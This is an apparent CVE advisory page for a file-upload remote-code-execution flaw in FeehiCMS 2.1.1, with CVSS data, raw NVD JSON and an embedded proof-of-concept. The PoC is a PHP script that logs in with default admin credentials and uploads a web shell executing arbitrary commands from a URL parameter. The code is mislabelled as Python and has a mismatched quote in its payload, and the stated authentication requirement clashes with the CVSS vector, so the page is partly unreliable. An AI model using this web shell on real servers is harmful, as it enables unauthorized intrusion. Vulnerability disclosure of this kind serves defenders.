Security Vulnerability Report
中文
CVE-2025-65657 CVSS 6.5 MEDIUM

CVE-2025-65657

Published: 2025-12-02 21:15:53
Last Modified: 2025-12-19 18:18:37

Description

FeehiCMS version 2.1.1 has a Remote Code Execution via Unrestricted File Upload in Ad Management. FeehiCMS version 2.1.1 allows authenticated remote attackers to upload files that the server later executes (or stores in an executable location) without sufficient validation, sanitization, or execution restrictions. An authenticated remote attacker can upload a crafted PHP file and cause the application or web server to execute it, resulting in remote code execution (RCE).

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:feehi:feehicms:2.1.1:*:*:*:*:*:*:* - VULNERABLE
FeehiCMS 2.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-65657 PoC - FeehiCMS 2.1.1 RCE via Ad Management File Upload // Target: FeehiCMS 2.1.1 // Module: Ad Management - Unrestricted File Upload // Authentication required - obtain valid admin credentials first $target_url = "http://target.com/index.php?r=ad/upload"; $login_url = "http://target.com/index.php?r=site/login"; // Login to get authenticated session $login_data = [ 'LoginForm[username]' => 'admin', 'LoginForm[password]' => 'password', 'LoginForm[rememberMe]' => 1 ]; // Prepare malicious PHP file for upload $poc_code = '<?php\n' . 'if(isset($_GET["cmd"])){\n' . ' echo "<pre>";\n' . ' system($_GET["cmd"]);\n' . ' echo "</pre>";\n' . '}\n' . 'if(isset($_GET["upload"])){\n' . ' file_put_contents("shell.php", base64_decode($_GET["upload"]));\n' . '}\n' . '?>"; // Create multipart form data for file upload $boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(16)); $file_content = "--$boundary\r\n" . "Content-Disposition: form-data; name=\"Ad[image]\"; filename=\"shell.php\"\r\n" . "Content-Type: application/x-php\r\n\r\n" . $poc_code . "\r\n" . "--$boundary--\r\n"; // Send upload request $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content); curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: multipart/form-data; boundary=$boundary" ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); // Execute commands via uploaded shell echo "RCE Exploit sent. Access uploaded file to execute commands:\n"; echo "http://target.com/uploads/ad/shell.php?cmd=whoami\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65657", "sourceIdentifier": "[email protected]", "published": "2025-12-02T21:15:53.063", "lastModified": "2025-12-19T18:18:36.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FeehiCMS version 2.1.1 has a Remote Code Execution via Unrestricted File Upload in Ad Management. FeehiCMS version 2.1.1 allows authenticated remote attackers to upload files that the server later executes (or stores in an executable location) without sufficient validation, sanitization, or execution restrictions. An authenticated remote attacker can upload a crafted PHP file and cause the application or web server to execute it, resulting in remote code execution (RCE)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:feehi:feehicms:2.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "DBEE4749-21CC-4336-8565-A05BC680EDF2"}]}]}], "references": [{"url": "https://github.com/kiwi865/CVEs/blob/main/CVE-2025-65657.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/liufee/cms/issues/78", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}